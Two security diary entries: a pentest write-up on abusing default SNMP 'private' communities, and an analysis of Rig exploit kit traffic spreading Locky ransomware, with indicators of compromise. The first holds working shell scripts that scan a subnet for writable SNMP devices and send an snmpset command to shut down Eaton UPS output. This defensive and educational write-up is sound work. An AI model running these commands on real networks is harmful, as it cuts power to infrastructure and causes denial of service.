SNMP Pwn3ge
Sometimes getting access to company assets is very complicated. Sometimes it is much easier (read: too easy) than expected. If one of the goals of a pentester is to get juicy information about the target, preventing the IT infrastructure to run efficiently (deny of service) is also a “win”. Indeed, in some business fields, if the infrastructure is not running, the business is impacted and the company may lose a lot of money. Think about traders.
I was recently involved in a pentest with the goal to test the customer's internal network. The scope was easy: to come on site, connect your laptop to a free network port and see what you can find/do. In such scenario, the breaking point is to successfully be connected to the network. If Mr “DHCP" is kind enough to provide you an IP address, you are "in" and you may consider the network as already compromised. This was the case for me, no protection against rogue devices, no network access control. I launched my Ettercap and started to sniff some packets playing MitM. I immediately grabbed some nice SNMP packets with interesting communities like “public” and “private”. As you probably know, those are the default ones on many systems. “public” provides usually a read-only access and “private” is used in read-write mode. Often, I hear this comment: "But SNMP is just a monitoring protocol, why should I care?”. Wrong! SNMP, as described by RFC 3411[1], means “Simple Network Management Protocol” and not “Monitoring Protocol”. If you have SNMP read access to a device, you can collect interesting information (version, processes, IP information, health) for the reconnaissance phase. But if you have SNMP write access to a device, you can alter his configuration and cause much more damages
During my engagement, the next step was to find devices with SNMP write capabilities:
# nmap -Pn -sU -p 161 -v -oA snmp 192.168.1.0/24
# grep ‘161/open/udp’ snmp.gnmap | awk ‘{ print $2 }’ | while read IP
do
snmpwalk -v1 -c private $IP >/dev/null 2>&1
if [ “$?” == “0” ]; then
echo “$IP accepts private community"
echo $IP >>vulnerable_ip.tmp
fi
done
The next step was to identify the vulnerable devices. This information is discoverable with the OID .1.3.6.1.2.1.1.1.0 (sysDescr). Example:
# snmpwalk -v1 -On -c xxxxxxxxx 192.168.254.4 SNMPv2-MIB::sysDescr.0 .1.3.6.1.2.1.1.1.0 = STRING: Cisco IOS Software, C1600 Software (AP1G2-K9W7-M), Version 15.2(2)JB2, RELEASE SOFTWARE (fc1)
Guess what? Most vulnerable devices were UPS management systems configured with default settings or, more precisely, not configured at all. The next step was to browse the vendor MIB (“Management Information Base”). The vendor ID was 534 and is assigned to Eaton Corporation [2]. The MIB reveals some interesting read/write OID's like this one: 1.3.6.1.4.1.534.1.9.1. This OID is called “xupsControlOutputOffDelay”. Here is the description:
"Setting this value to other than zero will cause the UPS output to turn off after the number of seconds. Setting it to 0 will cause an attempt to abort a pending shutdown."
We are close to perform a nice DoS against the customer's infrastructure. How? A simple 'snmpset' command will help us. Let's wrap it in a nice small script:
for IP in ‘cat vulnerable_ip.tmp' do snmpset -c private -v1 $IP 1.3.6.1.4.1.534.1.9.1 i 10 echo -n $IP d=10 while [ $d -gt 0 ]; do echo -n ‘.’; d=$((d-1)); sleep 1; done echo “Tango down!" done
Game over! Note that this is a proof of concept. In most pentest engagements, you're not allowed to perform such actions.
It is a pity that such very simple attack is still possible in 2016! If the customer followed the SANS Top-20 controls[3], this attack wouldn't be possible:
- CSC1 - Inventory of authorized and unauthorized devices
- CSC4 - Continuous vulnerability scanning, assessment, and remediation
- CSC9 - Limitation and control of network ports, protocols, and services
- CSC11 - Secure configuration for network devices such as firewalls, routers, and switches
[1] https://www.ietf.org/rfc/rfc3411.txt
[2] https://www.iana.org/assignments/enterprise-numbers/enterprise-numbers
[3] https://www.sans.org/media/critical-security-controls/critical-controls-poster-2016.pdf
Xavier Mertens (@xme)
ISC Handler - Freelance Security Consultant
PGP Key
Rig Exploit Kit from the Afraidgate Campaign
Introduction
Yesterday on Tuesday 2016-09-27, the Afraidgate campaign switched from Neutrino exploit kit (EK) to Rig EK [1]. As we go into Wednesday 2016-09-28, this trend continues.
So let's examine another case of Afraidgate using Rig EK!
Details
The Afraidgate campaign has been sending Locky since it stopped distributing CryptXXX ransomware in mid-July 2016 [2]. Afraidgate started using Neutrino EK after Angler EK disappeared in early June 2016 [3].
Currently, Afraidgate is using Rig EK, and it's distributing the newest variant of Locky ransomware. This newest variant is called "Odin" because of the .odin file extension Locky is now using for its encrypted files [4].
The image below shows the current chain of events since Afraidgate switched to Rig EK.
Shown above: Afraidgate campaign chain of events.
Infection traffic
Shown above: Traffic from today's infection filtered in Wireshark.
Indicators from this traffic are:
- www.allthingsbritish.net - Compromised site
- 139.59.171.176 port 80 - story.opiniaonline.ro - Afraidgate redirect
- 195.133.201.49 port 80 - art.unknownproject.com - Rig EK
- crocotan.com - failed DNS query from Locky downloader to get Locky
- 45.32.144.151 port 80 - findidlist.com - Locky downloader grabbing Locky
- kdbbpmrdfnlno.pl - failed DNS query from the Locky ransomware
- kgijxdracnyjxh.biz - failed DNS query from the Locky ransomware
- vgcfwrnfrkkarc.work - failed DNS query from the Locky ransomware
- ehkhxyvvcpk.biz - failed DNS query from the Locky ransomware
- rluqypf.pw - failed DNS query from the Locky ransomware
- wfgtoxqbf.biz - failed DNS query from the Locky ransomware
- ndyevynuwqe.su - failed DNS query from the Locky ransomware
- dceaordeoe.ru - failed DNS query from the Locky ransomware
- jlhxyspgvwcnjb.work - failed DNS query from the Locky ransomware
- gisydkcsxosyokkuv.work - failed DNS query from the Locky ransomware
- ufyjlxiscap.info - failed DNS query from the Locky ransomware
In the image below, injected script is highlighted in a page from the compromised site. This script kicked off the infection chain by generating HTTP traffic to a gate. Checking the domain registration, we see the gate's name servers are from afraid.org, which is a common characteristic for gates used by this campaign.
Shown above: Injected script in a page from the compromised website.
Next, the Afraidgate URL returned script with an iframe that pointed to a Rig EK landing page.
Shown above: The Afraidgate URL redirecting to a Rig EK landing page.
Rig EK has gone through some changes in recent weeks. Earlier this month, I noticed the landing page for Rig EK included a large amount of non-ASCII characters. That was also the case today.
Shown above: An example of a Rig EK landing page.
The Rig EK Flash exploits are now around 25 kB in size.
Shown above: Rig EK sends a Flash exploit.
The Rig EK payload is now encoded with an encryption algorithm. Previously, Rig EK used a more straight-forward method of XOR-ing the binary with an ASCII string. Now the payload is more heavily obfuscated. In this case, the payload was a downloader for Locky.
Shown above: Rig EK sends the malware payload.
After Rig EK sent the Locky downloader, that downloader grabbed Locky. In the traffic, we see a fake user agent and fake content type in the HTTP headers. The Locky binary was also encoded as it came across the network.
Shown above: Locky downloader retrieves Locky.
A closer look at the traffic shows findidlist.com wasn't the first domain the infected host tried when downloading the Locky binary. Crocotan.com was tried first, but that domain has been apparently taken off line.
After Locky was downloaded, the infected host generated several DNS queries for other domains, presumably for the Locky post-infection callback. None of those DNS queries were successful.
Shown above: Lots of failed DNS queries.
The infected host
Even though Locky wasn't able to perform its post-infection callback, the victim host was still infected. File extensions were .odin for the encrypted files, so this is the most recent variant of Locky (the "Odin" variant).
Shown above: Desktop of the infected host.
Checking the Locky Drecryptor page revealed the ransom instructions. As we've often seen with Locky from the Afraidgate campaign, the ransom was 1.5 bitcoin, which as of today is approximately 908 US dollars.
Shown above: The Locky decryptor page from this infection.
Malware info
The following artifacts were recovered from the infected host:
Rig EK payload (Downloader for Locky):
- SHA256 hash: 624568125153d786e21927182b141cd8fe7fd4e97b7eb8b1933b8663bf3652ad
- Size: 48,640 bytes
- Location: C:\Users\[username]\AppData\Local\Temp\radA62C2.tmp.exe
- Location: C:\Users\[username]\AppData\Roaming\rgV54QW5xRCUNWS.exe
Locky samples pulled from the infected host:
- SHA256 hash: d4fd2fe61b13c70740ebc900e8d88123683790a43dd500e0f660f92e9fa257dc
- Size: 181,760 bytes
- Location: C:\Users\[username]\AppData\Local\Temp\d36y0wsMOkSrfEYreNRih1M0U.exe
- Location: C:\Users\[username]\AppData\Local\Temp\Q5ABR5opm4BFjnrbzzuUX9nAd.exe
Final words
Locky ransomware continues to be an evolving threat. Not only do we see it from near-daily waves of malicious spam (malspam), we also see it distributed in a more stealthy manner through EKs. The Afraidgate campaign is the currently biggest EK-based campaign distributing Locky.
As always, properly-administered Windows hosts are not likely to be infected. As long as your Windows host is up-to-date and fully patched, your risk is minimal. If you're running Windows 10, I doubt you have anything to worry about.
But apparently enough out-of-date Windows hosts browse the web, so this campaign is profitable for the criminal group behind it.
Pcap and malware for this diary are located here.
---
Brad Duncan
brad [at] malware-traffic-analysis.net
References:
[1] http://www.malware-traffic-analysis.net/2016/09/27/index.html
[2] http://researchcenter.paloaltonetworks.com/2016/07/unit42-afraidgate-major-exploit-kit-campaign-switches-from-cryptxxx-ransomware-back-to-locky/
[3] http://malware.dontneedcoffee.com/2016/06/is-it-end-of-angler.html
[4] https://blog.opendns.com/2016/09/26/odin-lockys-latest-persona/
If you have more information or corrections regarding our diary, please share.
